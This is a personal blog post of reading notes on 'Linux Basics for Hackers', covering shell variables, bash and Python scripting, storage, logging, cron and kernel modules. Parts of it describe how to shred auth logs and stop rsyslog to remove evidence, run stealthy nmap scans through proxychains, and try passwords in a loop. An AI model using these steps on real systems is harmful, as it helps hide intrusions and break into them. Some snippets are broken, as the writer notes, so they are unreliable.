Linux Basics for Hackers: The first book of year 2019
I am not a voracious reader however, the environment where I stay really motivates me to read at least a book in a month and despite this newly acquired habit is little demanding of my time and sometimes it is bit daunting to spend the time in solitute ..
Nevertheless, please excuse my shabby English provided I am providing you any sense of impression that I don’t enjoy reading. Instead I really like to read, despite I got 18 out of 30 in the Reading Section, during my TOEFL exam (which was the prime reason why I scored only 90 out of 120 and all my friends scored 100 and above).
Through reading I get to know more things, some feelings that is hard to scribble down and many a times it is beyond the scope of the word to describe the existence of it !! Perhaps I am bluffing too much, like how my friends use to talk about the movies that they watch and bluff it right to my face as if I should go and die with remorse lol ….
Anyhow, I think it is a good omen that I completed reading a Book called “Linux Basics for Hackers” . It is such a coincidence that today is the last day of the April, 2019 and we just had a mild shower! (weather was scorching). This is the first book I have read in the year 2019 and I have kept few notes while reading the book. I am little skeptical whether the note could be any use to you yet I would like to share it here.. And I look forward to do more of this thing in the near future..
I wish happiness, health an success to you and people around you 🙂
*********************************************************
/usr/bin/gpasswd
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/kismet_capture
#Technically, there are two types of variables: Shell and Environment.
Enrivonment variables are system-wide variables built into your system and interface that control the way your system looks, acts and “feels” to the user, and they are inherited by any child shells or processes.
Shell variables, on the other hand, are typically listed in lowercase and are only valid in the shell they are set in.
Variables are simply strings in key-value pairs. Generally, each pair will look like KEY=value.
Multiple values… KEY=value1:value2.
#VIEWING AND MODIFYING ENVIRONMENT VARIABLES:
env
#Viewing All Environment Variables
set
#Filtering for Particular Variables:
set | grep HISTSIZE
#Changing Variable Values for a Session:
set the HISTSIZE variable to 0 so the system won’t store any of your past commands.
HISTSIZE=0
#Making Variable Value Changes Permanent
When you change an environment variable, that change only occurs in that particular environment; in this case, that environment is the bash shell session. This means that when you close the terminal, any changes you made are lost, with values set back to their defaults. If you want to make the changes permanent, you need to use the export command. This command will export the new value from your current environment (the bash shell) to the rest of the system, making it available in every environment until you change and export it again.
For eg
echo $HISTSIZE> ~/valueofHISTSIZE.txt
This way, you can always undo your changes. If you want to be even more cautious and create a text tile with all the current settings, you can save the output of the set command to a text file with a command like this one:
set > ~/valueofALLon01012017.txt
After you’ve changed a variable, you can make the change permanently by entering export and then the variable you changed.
export HISTSIZE
If you want to change again
HISTSIZE=1000 export HISTSIZE
CHANGING YOUR SHELL PROMT
PS1=”World’s Best hacker: #”
export = PS1
CHANGING YOUR PATH n
Each directory is separated by a colon (:), and don’t forget to add the $ content symbol to PATH.
Adding to the PATH variable
To be able to use this new tool from any directory, you need to add the directory holding this tool to your PATH variable.
To add newhackingtool to your PATH variable, enter the following :
kali > PATH=$PATH:/root/newhackingtool
This assigns the original PATH variable plus the /root/newhackingtool directory to the new PATH variable, so the variable contains everything it did before, plus the new tool directory.
echo $PATH
Adding a lot of directories could slow down your terminal and your hacking
How Not to Add to the PATH Variable
One mistake commonly made by a new Linux users is assigning a new directory, such as /root/newhackingtool, directly to the PATH variable in this way:
kali > PATH=/root/newhackingtool
kali > echo $PATH
/root/newhackingtool
If you use this command, your PATH variable will only contain the /root/newhackingtool directory and no longer contain the system binaries directories such as /bin, /sbin, and others that hold critical commands. When you then go to use any of the system commands, you’ll receive the error command not found, unless you first navigate to the system binaries directory when you execute the command:
kali > cd
command not found
Remember that you want to append to the PATH variable, not replace it. If you’re in doubt, save the contents of the variable somewhere before you modify it.
CREATING A USER-DEFINED VARIABLE
you can create your own custom, user-defined variables in Linux by simply assigning a value to a new variable that you name. This may be useful when you are doing some more advanced shell scripting or find you’re often using a long command that you get tired of typing over and over.
kali> MYNEWVARIABLE = “Hacking is the most valuable skill set in the 21st century”
echo $MYNEWVARIABLE
Just like out system environment variables, user-defined variables must be exported to persist to new sessions.
If you want to delete this new variable, use the unset command. Always think before deleting a system variable, though, because your system will probably operate much differently afterward.
Kali > unset MYNEWVARIABLE
Kali > echo $MYNEWVARAIBLE
Chapter 8
BASH SCRIPTING
A CRASH COURSE IN BASH
Adding Functionality with Variables and User Input
#! /bin/bash
echo “What is your name?”
read name
echo “What chapter are you on in Linux Basics for Hackers?”
read chapter
echo “Welcome ” $name ” to Chapter ” $chapter ” of Linux Basics for Hackers!”
YOUR VERY FIRST HACKER SCRIPT: SCAN FOR OPEN PORTS
nmap is used to probe a system to see whether it is connected to the network and finds out what ports are open. From the open ports discovered, you can surmise what services are running on the target system. This is crucial skill for any hacker or system administrator.
Hacker Max Story is interesting port 5505 Aloha POS
A Simple Scanner
#! /bin/bash
# This script is designed to find hosts with MySQL installed
nmap -sT 192.168.181.0/24 -p 3306 > /dev/null -oG MySQLscan
cat MySQLscan | grep open > MySQLscan2
cat MySQLscan2
Improving the MySQL Scanner
#! /bin/bash
# This script is designed to find hosts with MySQL installed
echo “Enter the starting IP address: “
read FirstIP
echo “Enter the last octet of the last IP address: “
read LastOctetIP
echo “Enter the port number you want to scan for: “
read port
nmap -sT FirstIP/LastOctetIP -p $port > /dev/null -oG MySQLscan
cat MySQLscan | grep open > MySQLscan2
cat MySQLscan2
COMMON BUILT-IN BASH COMMANDS
CommandFuntion
: Returns 0 or True
. Execute a shell script
bg Puts a job in the background
break Exits the current loop
cd Change directory
continue Resumes the current loop
echo Displays the command arguments
eval Evaluates the following expression
exec Executes the following command without creating a new process
exit Quits the shell
export Makes a variable or function available to other programs
fg Brings a job to the foreground
getopts Parses arguments to the shell script
jobs Lists background (bg) jobs
pwd Displays the current directory
read Reads a line from standard input
readonly Declares as variable as read-only
set Lists all variables
shift Moves the parameters to the left
test Evaluates arguments
[ Performs a conditional test
times Prints the user and system times
trap Traps a signal
type Displays how each argument woul be interpreted as a command
umask changes the default permission for a new file
unset Deletes values from a variable or function
wait Waits for a background process to complete
Chapter 9
COMPRESSING AND ARCHIVING
- dd command which allows you to copy entire drives, including deleted files on those drives.
WHAT IS COMPRESSION ?
LOSSY COMPRESSION is very effective in reducing the size of files, but the integrity of the information is lost. In other words, the file after compression is not exactly the same as the original. This is great for graphics, videos, and audio files.
However, lossy compression is unacceptable when you’re sending files or software and data integrity is crucial.
LOSSLESS COMPRESSION is not as efficient as lossy compression, as you might imagine, but for the hacker, integrity is often far more important than compression ratio.
TARRING FILES TOGETHER
-
gzip, which uses the extension .tar.gz or .tgz
-
bzip2, which uses the extension .tar.bz2
-
compress, which uses the extension .tar.xz
Compressing with gzip
gzip HackersArise*
ls -l
Decompress
gunzip HackersArise.*
Compressing with bzip2
bzip2 HackersArise.*
now extension is .tar.bz2
To uncompress
bunzip2 HackersArise.*
Compressing with compress
compress HackerArise.*
To decompress
uncompress HackerArise.*
CREATING A BIT-BY-BIT OR PHYSICAL COPIES OF STORAGE DEVICES
The basic syntax for the dd command is
dd if=input_file of=output_file
dd if=/dev/sdb of=/root/flashdrive
Numerous options are available to use with the dd command, and you can do a bit of research on these, but among the most useful are the noerror option and the bs (block size) option. As the name implies, the noerror option continues to copy even if errors are encountered. The bs option allows you to determine the block size (the number of bytes read/written per block) of the data being copied. By default, it is set to 512 bytes, but it can be changed to speed up the process. Typically, this would be set to the sector size of the device, most often 4KB (4096 bytes). With these options, your command would look like this:
dd if=/dev/media of=/root/flashcopy bs=4096 conv:noerror
Chapter 10
FILESYSTEM AND STORAGE DEVICE MANAGEMENT
Mounting in this context simple means attaching drives or disks to the filesystem to make them accessible to the operating system.
THE DEVICE DIRECTORY /DEV
cd /dev
ls -l
How Linux Represents Storage Devices:
Linux uses logitcal labels for drives that are then mounted on the filesystem. These logocal labels will vary depending on where the drives are mounted, meaning the same hard drive might have different labels at different times, depending on where and when it’s mounted.
Drive Partitions
swap is similar to page files in Windows – when RAM capacity is exceeded.
Charaacter and Block Devices
crw 1 root root 10,175 May 16 12:44 agpgart
These letters represent the two ways that devices transfer data in and out. the c stands for character, and these devices are known, as you might expect, a character devices. External devices that interact with the system by sending and receiving data character by character, such as mice or keyboards, are character devices.
brw-rw—-. 1 root disk 253, 1 Apr 29 08:05 dm-1
The b stands for the second type: block devices. They communicate in blocks of data (multiple bytes at a time) and include devices like hard drives and DVD drives. These devices require higher-speed data throughput and therefore send and receive dat in blocks (many characters or bytes at a time). Once you know whether a device is a character or block device, you can easily get more information about it.
List Block Devices and Information with lsblk
lsblk – list block
The result is similar to the output from fdisk -l, but it will also display devices with multiple partitions in a kind of tree.
MOUNTING AND UNMOUNTING
A storage device must be first physically connected to the filesystem and then logically attached to the filesystem in order for the data to be made available to the operating system.
The point in the directory tree where devices are attached is known as the mount point. The two main points in Linux are /mnt and /media. As a general rule, internal hard drives are mounted at /mnt, and external USB devices such as flash drives and external USB hard drives are mounted at /media, though technically any directory can be used.
Mounting Storage Devices Yourself
To mount the new hard drive sdb1 at the /mnt directory,
kali> mount /dev/sdb1 /mnt
That hard drive should then be available for access. If you want to mount the flash drvie sdc1 at the /media directory
kali> mount /dev/sdc1 /media
The filesystems that are mounted on a system are kept in a file at /etc/fstab (short for filesystem table), which is read by the system at every bootup.
Unmounting with umount
kali> umount /dev/sdb1
MONITORING FILESYSTEMS
Getting Information on Mounted Disks
The command df (for disk free) will provide us with basic information on any hard disks or mounted devices, such as CD, DVD, and flash drives, including how much space is being used and how much is available. Without any option
df
Checking for Errors
fsck (filesystem check) checks the filesystem for errors and repairs the damage, if possible, or else puts the bad blocks table to mark it as bad.
So, the first step when performing a filesystem check is to unmount the device.
umount /dev/sdb1
I can add the -p option to have fsck automatically repair any problems with the device, like so:
fsck -p /dev/sdb1
With the device unmounted, I can now check for any bad sectors or other problems with the device, as follows:
fsck -p /dev/sdb1
Chapter 11
THE LOGGING SYSTEM
THE RSYSLOG LOGGING DAEMON
Linux uses a daemon called syslogd to automatically log events on your computer. Several variations of syslog, including rsyslog and syslog-ng, are used on different distributions of Linux, and even though they operate very similarly, some minor differences exist.
locate rsyslog
The rsyslog Configuration File
vi /etc/rsyslog.conf
GOTO RULES
Each line is a separate login rule that says what messages are logged and where they’re logged to. The basic format for these rules is as follows
facility.priority action
eg
The authpriv file has restricted access.
authpriv.* /var/log/secure
Log all the mail messages in one place.
mail.* -/var/log/maillog
The facility keyword references the program, such as mail, kernel, or lpr, whose messages are being logged. The priority keyword determines what kind of messages to log for that program. The action keyword, on the far right, references the location where the log will be sent. Let’s look at each section more closely, beginning with the facility keyword, which refers to whatever software is generating the log, whether that’s the kernel, the mail system, or the user.
The following is a list of valid codes that can be used in place of the faciity keyword in our configuration file rules:
auth/ authpriv Security/authorization cron Clock daemons daemon Other daemons
kern Kernel messages lpr Printing mail Mail system system user Generic userlevel messages
An asterisk wildcard(*) in place of a word refers to all facilities. You can select more than one facility by listing them separated by a comma.
The priority tells the system what kinds of messages to log. Codes are listed from lowest priority, starting at debug, to highest priority, ending at panic. If the priority is *, messages of all priorities are logged. When you specify a priority code of alert, the system will log messages classified as alert and higher priority, but it won’t log messages marked as crit or any priority lower than alert.
Here’s the full list of valid codes for priority:
- debug
- info
- notice
- warning -deprecated
- warn -deprecated
- error -deprecated
- err – deprecated
- crit
- alert
- emerg – deprecated
- panic -deprecated
The action is usually a filename and location where the logs should be sent. Note that generally, log files are sent to the /var/log directory with a filename that describes the facility that generated them, such as auth. This means, for example, the logs generated by the auth facility would be sent to /var/log.auth.log
Let’s look at some examples of log rules:
mail.* /var/log/mail
This example will log mail events of all (*) priorities to /var/log/mail
kern.crit /var/log/kernel
This example will log kernel events of critical (crit) priority or higher to /var/log/kernel
*.emerg*
This last example will log all events of the emergency (emerg) priority to all logged-on users. With these rules, the hacker can determine where the log files are located, change the priorities, or even disable specific logging rules.
AUTOMATICALLY CLEANING UP LOGS WITH LOGRORATE
Log rotation is the process of regularly archiving log files by moving theme to some other location, leaving you with a fresh log file. That archived location will then get cleaned up after a specified period of time.
Your system is already rotating log files using a cron job that employs the logrotate utiity. You can oconfigure the logrotate utiity to choose the regularity of your log rotation with the /etc/logrotate.conf text file,
First, you can set the unit of time your rotate numbers refer to. The default here is weekly, meaning any number after the rotate keyword always refers to weeks.
Further down, you can see the setting for how often to rotate logs – the default setting is to rotate logs every four weeks.
If you check your log files every week and want to save storage space, you could change this setting to rotate 1. If you have plenty of storage for your logs and want to keep a semi-permanent record for forensic analysis later, you could change this setting to rotate 26 to keep your logs for six months or rotate 52 to keep them for one year.
By default, a new empty log file is created when old ones are rotated out. As the comments in the configuration file advise, you can also choose to compress your rotated log files.
At the end of each rotation period, the log files are renamed and pushed toward the end of the chain of logs as a new log file is created, replacing the current log file. For instance, /var/log.auth will become /var/log.auth.1, then /var/log.auth.2, and so on. If you rotate logs every four weeks and keep four set of backups, you will have /var/auth.log.auth.4, but no /var/log.auth.5, meaning that /var/log.auth.4 will be deleted rather than being pushed to /var/log/auth5. You can see this by using the locate command to find /var/log/auth.log log files with a wildcard.
REMAINING STEALTHY
Removing Evidence
- (shred) the log files
shred –help
shred
On its own, shred will delete the file and overwrite it several times – by default, shred overwrites four times. Generally, the more times the file is overwritten, the harder it is to recover, but keep in mind that each overwrite takes time, so for very large files, shredding may become time-consuming.
- -f option to give us permission to shred auth files
- -n option with desired number of times to overwrite.
shred -f -n 10 /var/log/auth.log*
Disabling Logging
with root
service rsyslog stop
Chapter 12
USING AND ABUSING SERVICES
OPENSSH AND THE RASPBERRY SPY PI
https://www.raspberrypi.org/downloads/raspbian
Need to read this part later when the Raspberry pi is bought
Chapter 13
BECOMING SECURE AND ANONYMOUS
HOW THE INTERNET GIVES US AWAY
THE ONION ROUTER SYSTEM
traffic correlation to break tor anonymity
PROXY SERVERS
subpoena
kali > proxychains
eg, if you wanted to use proxychains to scan a site with nmap anonymously, you would enter the following
kail> proxychains nmap -sT -Pn
This would send nmap -sS stealth scan command to the given IP address through a proxy. The tool then builds the chain of proxies itself, so you don’t have to worry about it.
Setting Proxies in the Config File
/etc/proxychains.conf
Scroll down this file to line 61, and you should see the ProxyList section..
[ProxyList] #add proxy here #Defaults set to “tor” socks4 127.0.0.1 9050
We can add proxies by entering the IP addresses and ports of the proxies we want to..
proxychains firefox wwww.epotala.com
Adding More Proxies
Dynamic Chaining
Go back into your proxychains configuration file, find the dynamic_chain line (line 10), and uncomment it, as shown next. Also make sure you comment out the strict_chain line if it isn’t already.
Random Chaining
Go back inside the /etc/proxychains.conf file and comment out the lines dynamic_chain and strict_chain by adding a # at the start of each line; then uncomment the random_chain line. We can only use one of these three options at a time, so make certain you comment out the other options before using proxychains.
Next, find and uncomment the line with chain_len and then give it a reasonable number. This line determines how many of the IP addresses in your chain will used in creating your random proxy chain.
chain_len = 3
proxychains will now use three proxies from my list in the /etc/proxychains.conf file, choosing them randomly an dmoving onto the next one if a proxy is down. Note that although this method certainly enhances your anonymity, it also increases the latency of your online activities.
“If someting is free, you’re not the customer; you’re the product.” – Bruce Schneier.
VIRTUAL PRIVATE NETWORK
Chapter 14
UNDERSTANDING AND INSPECTING WIRELESS NETWORKS
Wireless at page 192
Chapter 15
MANAGING THE LINUX KERNEL AND LOADABLE KERNEL MODULES
kernel and user land.
WHAT IS A KERNEL MODULE?
modules can be added and removed from the kernel.
These drivers must be embedded in the kernel to be fully functional. In some systems, to add a driver, you have to rebuild, compile, and reboot the entire kernel, but linux has the capability of adding some modules to the kernel without going through the entire process. These modules are referred to as loadable kernel modules, or KLMs.
LKMs have access to the lowest levels of the kernel by necessity, making them an incredibly vulnerable target for hackers. A particular type of malware known as rootkit embeds itself into the kernel of the operating systems. Often through these LKMs, If malware embeds itself in the kernel, the hacker can take complete control of the operating system.
If a hacker can get the Linux admin to load a new module to the kernel, the hacker not only can gain control over the target system but, because they’re operating at the kernel level of the operating system, can control what the target system is reporting in terms of processes, ports, services, hard drive space, and almost anything else you can think of.
So, if a hacker can successfully tempt a Linux admin into installing a video or other device driver that has a rootkit embedded in it, the hacker can take total control of the system and kernel. This is the way some of the most insidious rootkits take advantage of Linux and other operating systems.
Understanding LKMs is absolutely key to being an effective Linux admin and being a very effective and stealthy hacker.
CHECKING THE KERNEL VERSION
uname -a
cat /proc/version
KERNEL TUNING WITH SYSCTL
Modern Linux kernels use the sysctl command to tune kernel options. All changes you make with sysctl remain in effect only until you reboot the system. To make changes permanent, you have to edit the configuration file for sysctl directly at /etc/sysctl.conf
In the man-in-the middle (MITM) attack, the hacker places themselves between communicating hosts to intercept information. The traffic passes through the hacker’s system, so they can view and possibly alter the communication. One way to achieve this routing is to enable packet forwarding.
sysctl -a | less | grep ipv4
The line net.ipv4.ip_forward = 0 is the kernel parameter that enables the kernel to forward on the packets it receives. In other words, the packets it receives, it sends back out. The default setting is 0, which means that packet forwarding is disabled.
To enable IP forwarding, change the 0 to a 1 by entering the following:
sysctl -w net.ipv4.ip_forward = 1
Remember that the sysctl changes take place at runtime but are lost when the system is rebooted. To make permanent changes to sysctl, you need to edit configuration file /etc/sysctl.conf. Let’s change the way the kernel handles IP forwarding for MITM attacks and make this change permanent.
To enable IP forwarding, open the /etc/sysctl.conf file in any editor and uncomment the line for ip_forward.
#/etc/sysctl.conf – Configuration file for setting system variables
# See /etc/sysctl.d/ for additional system variables.
# See sysctl.conf (5) for information.
From an operating system-harding perspective, you could use this file to disable ICMP echo requests by adding the line net.ipv4.icmp_echo_ignore_all= 1 to make it more difficult -but not impossible – for hackers to find your system. After adding the line, you will need to run the command
sysctl -p
MANAGING KERNEL MODULES:
- insmod stands for insert module and is intended to deal with modules.
- lsmod to list the installed modules in the kernel
From the insmod suite, we can load or insert a module with insmod and remove a module with rmmod, which stands for remove module. These commands are not perfect and may not take into account module dependencies, so using them can leave your kernel unstable or unusable. As a result, modern distributions of Linux have now added the modprobe command, which automatically loads dependencies and makes loading and removing kernel modules less risky.
Finding More Information with modinfo
To learn more about any of the kernel modules, we can use the mdinfo command.
modinfo bluetooth
Adding and Removing Modules with modprobe
Most newer distributions of linux, including Kali Linux, include the modprobe command for LKM management.
To add a module to your kernel, you would use the modprobe command with the -a (add) switch, like so:
modprobe -a module-name
To remove the module, use the -r (remove) switch with modprobe followed by the name of the module:
modprobe -r module_to_be_removed
Inserting and Removing a Kernel Module
Let’s try inserting and removing a test module to help you familiarize yourself with this process. Let’s imagine that you just installed a new video card and you need to install the drivers for it. Remember, drivers for devices are usually installed directly into the kernel to give them the necessary access to function properly. This also makes drivers fertile ground for malicious hackers to install a rootkit or other listening device.
Let’s assume for demonstration purpose (don’t actually run these comamnds) that we want to add a new driver named HackersAriseNewVideo. You can add it to your kernel by entering the following:
kali> modprobe -a HackersAriseNewvideo
To test whether the new module loaded properly, you can run the dmesg command, which prints out the message buffer from the kernel, and then filter for “video” and look for any alerts that would indicate a problem:
kali>dmesg | grep video
If there are any kernel messages with the word “video” in theme, they will be displayed here. if nothing appears, there are no messages containing that keyword.
Then, to remove this same module, you can enter the same comamnd but with the -r switch
kali>modprobe -r HackersAriseNewVideo
Remember, the loadable kernel modules are a convenience to a Linux user/admin, but they are also a major security weakness and one that professional hackers should be familiar with. As I said before, the LKM’s can be the perfect vehicle to get your rootkit into the kernel and wreak havoc!
Chapter 16
AUTOMATING TASKS WITH JOB SCHEDULING
SCHEDULING AN EVENT OR JOB TO RUN ON AN AUTOMATIC BASIS
The cron daemon and the cron table (crontab) are the most useful tools for scheduling regular tasks. The first, crond, is a daemon that runs in the background. The cron daemon checks the cron table for which commands to run at specified times. We can alter the cron table to schedule a task or job to execute regularly on a particular day or date, at a particular time daily, or every so many weeks or months.
To schedule these tasks or jobs, enter them into the cron table file, located at /etc/crontab. These cron table has seven fields: the first five are used to schedule the time to run the task, the sixth field specified the user, and the seventh field is used for the absolute path to the command you want to execute. If we were using the cron table to schedule a script, we could simply put the absolute path to the script in the seventh field.
Each of the five time fields represents a different element of time: the minute, hour, day of the month, month, and day of the week, in that order. Every element of time must be represented numerically, so March is represented as 3 (you cannot simply input “March”). Days of the week begin at 0, which is Sunday, and end at 7, which is also Sunday.
Time Representations for Use in the crontab
FieldTime Unit Representation
Minute 0-59
Hour 0-23
Day of the month 1-31
Month 1-12
Day of the week 0-7
M H DOM MON DOW USER COMMAND 30 2 * * 1-5 /root/myscanningscript
The crontab file helpfully labels the columns for you. Note that the first field provides the minute 30, the second field provides the hour 2, the fifth field provides the days 1-5, or Monday through Friday, the sixth field defines the user root, and the seventh field is the path to the script. the third and fourth fields contain asterisks (*) because we want this script to run every day Monday through Friday regardless of the day of the month or the month.
the fifth field defines a range fo the day of the week by using a dash (-) between the numbers. If you want to execute a script on multiple noncontiguous days of the week, you can separate those days with comma(,). thus, Tuesday and Thursday would be 2,4.
Sample of what is inside a crontab
# /etc/crontab: systemwide crontab # Unlike any other crontab, you don’t have to run the ‘crontab’ # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # which no other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command 17 * * * * root cd / && runparts report /etc/cron.hourly 25 6 * * * root test x /usr/sbin/anacron II ( cd / && runparts 47 6 * * 7 root test x /usr/sbin/anacron II ( cd / && runparts 52 6 1 * * root test x /usr/sbin/anacron II ( cd / && runparts #
Scheduling a Backup Task
if you only wanted the backup to run on the 15th and 30th of every month, regardless of what days of the week those dates fell on, you could revise the entry in crontab to appear as follows:
0 0 2 15,30 * * backup /root/systembackup.sh
15,30 tells the system to run the script only on the 15th and 30th of every month, so around every two weeks.
00 23 * * 1-5 backup /root/systembackup.sh
This job would run at 11pm, every day of the month, every month, but only on Monday through Friday(1-5). Especially note that we designated the days.
Using crontab to Schedule Your MySQLscanner
00 9 * * * user /user/share/MySQLscanner.sh
We’ve set up the job to run at 00 minutes, at the ninth hour, every day of the month (*) , every month(*), every day of the week(*), and to run it as a regular user.
Now, let’s say you wanted to be particularly careful and only run this scanner on weekends and at 2 AM when it’s less likely that anyone is watching the network traffic. You also only want it to run in the summer, June through August. Your job would now
00 2 * 6-8 0,6 user /user/share/MySQLscanner.sh
You would add this to your crontab like so:
# /etc/crontab: systemwide crontab # Unlike any other crontab, you don’t have to run the ‘crontab’ # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # which none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command 17 * * * * root cd / && runparts report /etc/cron.hourly 25 6 * * * root test x /usr/sbin/anacron II ( cd / && runparts report /etc/cron.daily ) 47 6 * * 7 root test x /usr/sbin/anacron II ( cd / && runparts report /etc/cron.weekly ) 52 6 1 * * root test x /usr/sbin/anacron II ( cd / && runparts report /etc/cron.monthly ) 00 2 * 6-8 0,6 user /usr/share/MySQLsscanner.sh
crontab Shortcuts
- @yearly
- @annually
- @monthly
- @weekly
- @daily
- @midnight
- @noon
- @reboot
So, if you wanted the MySQL scanner to run every night at midnight, you could add the following line to the crontab file:
@midnight user /user/share/MySQLscanner.sh
USING RC SCRIPTS TO RUN JOBS AT STARTUP
Whenever you start your Linux system, a number of scripts are run to set up the environment for you. These are know as the rc script. After the kernel has initialized and loaded all its modules, the kernel starts a daemon known as init or init.d. This daemon then begins to run a number of scripts found in /etc/init.d/rc. These scripts include commands for starting many of the services necessary to run your Linux system as you expect.
Linux Runlevels
Linux has multiple runlevels that indicate what services should be started at bootup. For instance, runlevel 1 is single-user mode, and services such as networking are not started in runlevel 1. The rc scripts are set to run depending on what runlevel is selected.
0 halt the system 1 single-user/ minimal mode 2-5 multiuser modes 6 Reboot the system
Adding Services to rc.d
You can add services for the rc.d script to run at startup using the update-rc.d command. This command enables you to add or remove services from the rc.d script. The syntax for update-rc.d is straightforward; you simply list the command followed by the name of the script and then the action to perform, like so
kali> update-rc.d <remove|defauls|disable|enable>
ADDING SERVICES TO YOUR BOOTUP VIA A GUI
apt-get install rcconf
rcconf
Chapter 17
PYTHON SCRIPTING BASICS FOR HACKERS
pip3 install —
pip3 show —
Installing Third-Party Modules
GETTING STARTED SCRIPTING WITH PYTHON
#!/usr/bin/python3
sam = “Tashi Delek Samdup la!”
age = 29
pi = 3.141
myList = [1,2,3,4,5,6]
dic = {‘name’:’samdup’, ‘age’:29}
print(sam) print(age) print(myList) print(dic)
This creates five variables that contain different data types: a string, treated as text; an integer, which is number type without decimals that can be used in numerical operations: a float, which is number type with decimals that can also be used to numerical operations; a list, which is a series of values stored together; and a dictionary, which is an unordered set of data where each value is paired with a key, meaning each value in the dictionary has a unique identifying key. This is useful for when you want to refer to or change a value by referring to a key name. For example, say you have a dictionary called fruit_color configured like the following:
fruit_color= {‘apple’:’red’, ‘grape’:’green’, ‘orange’:’orange’}
If later in your script you want to get the fruit_color of the grape, you simply call it by its key:
print(fruit_color[‘grape’])
You could also change values for particular keys: for example, here we change the color of the apple:
fruit_color[‘apple’]:’green’
Comments
multiline comment “”” this is comment line “””
Functions
- exit() exits from a program
- float() returns its argument as a floating-point number. For example, float(1) would return 1.0
- help() displays help on the object specified by its argument
- int() returns the integer portion of its argument(truncates)
- len() returns the number of elements in a list or dictionary.
- max() returns the maximum value from its argument (a list).
- open() opens the file in the mode specified by its arguments.
- range() returns a list of integers between two values specified by its arguments.
- sorted() takes a list as an argument and returns it with its elements in order
- type() returns the type of its argument (for example, int, file, medhot, function).
You can also create your own functions to perform custom tasks. Since there are so many already built into the language, it’s always worth checking whether a function already exists before going through the effort of building it yourself. There are many ways to do this check. https://docs.python.org Library Reference.
LISTS
Many programming languages use arrays as a way to store multiple separate objects. An array is a list of values that can be retrieved, deleted, replaced, or worked with in various ways by referencing a particular value in the array by its position in the list, known as its index.
MODULES
A module is simply a section of code saved into a separate file so you can use it as many times as you need in your program without having to type it all out again. If you want to use a module or any code from a module, you need to impor it.
eg
import nmap
OBJECT-ORIENTED PROGRAMMING (OOP)
OBJECT Property Attribute or state
Method
Function or procedure
For eg, a car is an object that has properties, such as its wheets, color, size, and engine type; it also has methods, which are the actions the car takes, such as accelerating and locking the doors. From the perspective of natural human language, an object is a noun, a property is an adjective, and a method is generally a verb.
Objects are members of a class, which is basically a template for creating objects with shared initial variables, properties, and methods.For instance, say we had a class called cars; our car (a BMW) would be a member of the class of cars. This class would also include other objects/cars.
Class may also have subclasses. Our car class has a BMW subclass, and an object of that subclass might be the model 320i.
Each object would have properties (make, model, year and color) and methods (start, drive and park)
NETWORK COMMUNICATIONS IN PYTHON
Building a TCP Client
#!/usr/bin/python
import socket
s = socket.socket()
s.connect((“192.168.56.1”,22))
answer = s.recv(1024)
print(answer)
s.close
Once you make the connection, there are a number of things you can do. Here, we use the receive method recv to read 1024 bytes of data from the socket and store them in a variable named answer; these 1024 bytes will contain the banner information. Then we print the contents of that variable to the screen with the print() function to see what data has been passed over that socket, allowing us to spy on it!
We can use this script to find out what application, version, and operating system are running at that IP address and port.
Creating a TCP Listener
That socket can also be used to create a TCP listener, to listen to connections from outsiders to your server.
In the following script, you will create a socket on any port of your system that, when someone connects to that socket, collects key information about the connector’s system. Enter the script and save it as tcp_server.py. Make sure to give yourself execute permissions with chmod.
program error
#!/usr/bin/python3
import socket
TCP_IP = “192.168.56.1” TCP_PORT = 6996 BUFFER_SIZE = 100
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.bind((TCP_IP,TCP_PORT)) s.listen(1)
conn, addr = s.accept() print(‘Connection address:’, addr)
while 1: data=conn.recv(BUFFER_SIZE) if not data:break print(“Received data: “,data) conn.send(data) #echo
conn.close
The buffer size of the data we want to capture from the connecting system.
We define the socket and bind the socket to the IP address and port using the variables we just created. We tell the socket to listen using the listen() method from the socket library.
We then capture the IP address and port of the connecting system using the socket library’s accept method, and we print that information to the screen so the user can see it. Notice the while 1: syntax here; it is used to run the indented code that comes after it indefinitely, meaning Python keeps checking for data until the program is stopped.
Finally, we place the information from the connecting system into a buffer, print it, and then close the connection.
DICTIONARIES , LOOPS, AND CONTROL STATEMENTS
Dictionaries:
-
act like associative arrays in other languages.
-
iterable, meaning we use a control structure such as a for statement to go through the entire dictionary, assigning each element of the dictionary to a variable until we come to the end of the dictionary.
dict = {key:value1, key2:value2, key3:value3…}
Control Statements
The if statement
if conditional expression run this code if the expression is true else runt his code
For eg, here we have a code snippet that hcecks the value of a user ID; if it is 0 (the root user in Liunux is always UID 0), then we print the message “You are the root user.” Else, if it is any othe value, we print the message “You are Not the root user.”
if userid == 0 print(“You are the root user”) else print(“You are not the root user”)
Loops
The while loop
eg
count = 1
while(count <=10):
print (count)
count +=1
The for Loop
The for loop can assign values from a list, string, dictionary, or other iterable structure to an index variable each time through the loop, allowing us to use each item in the structure one after the other. For eg, we can use a for loop to attempt passwords until we find a match, like so:
for password in passwords:
attempt = connect (username, password)
if attempt == "230"
print ("Password found: "+password)
sys.exit(0)
In this code snippet, we create a for statement that continues through a list of passwords we have provided and attempts to connect with a username and password. If the connection attempt receives a 230 code, which is a code for a successful connection, the program prints “Password found: ” and then the password. It thne exits. If it does get a 230, it will continue through each of the remaining passwords until it receives a 230 or until it exhausts the list of passwords.
IMPROVING OUT HACKING SCRIPTS
We’ll add a list of ports that we want to grab the banner from, rather than just listening on one port, and then loop through the list using a for statement. In this way, we can search for and grab banners for multiple ports and display them to the screen.
First, let’s create a list and put additional ports in it. Open our code and modify it..
I will rather write an another another improved version of it from the scratch …
#!/usr/bin/python3
import socket
ports = [21,22,25,80,443,3306]
for i in range(0,6): s = socket.socket() ports=port[i] print(“This is the banner for the port”) print(ports)
s.connect("192.168.56.1",port)
answer = s.recv(1024)
print(answer)
s.close()
We create a list called Ports and add four elements, each representing a port. then we create a for statement that iterates through that list four times, since it has four items.
Remember that when you’re using a for loop, the code associated with the loop must be indented beneath the for statement.
We need to alter the program to reflect the use of a variable from the list on each iteration through. To do so, we create a variable named port and assign it to the value from the list at each iteration. Then we use the variable in our connection.
Didn’t work
EXCEPTIONS AND PASSWORD CRACKERS
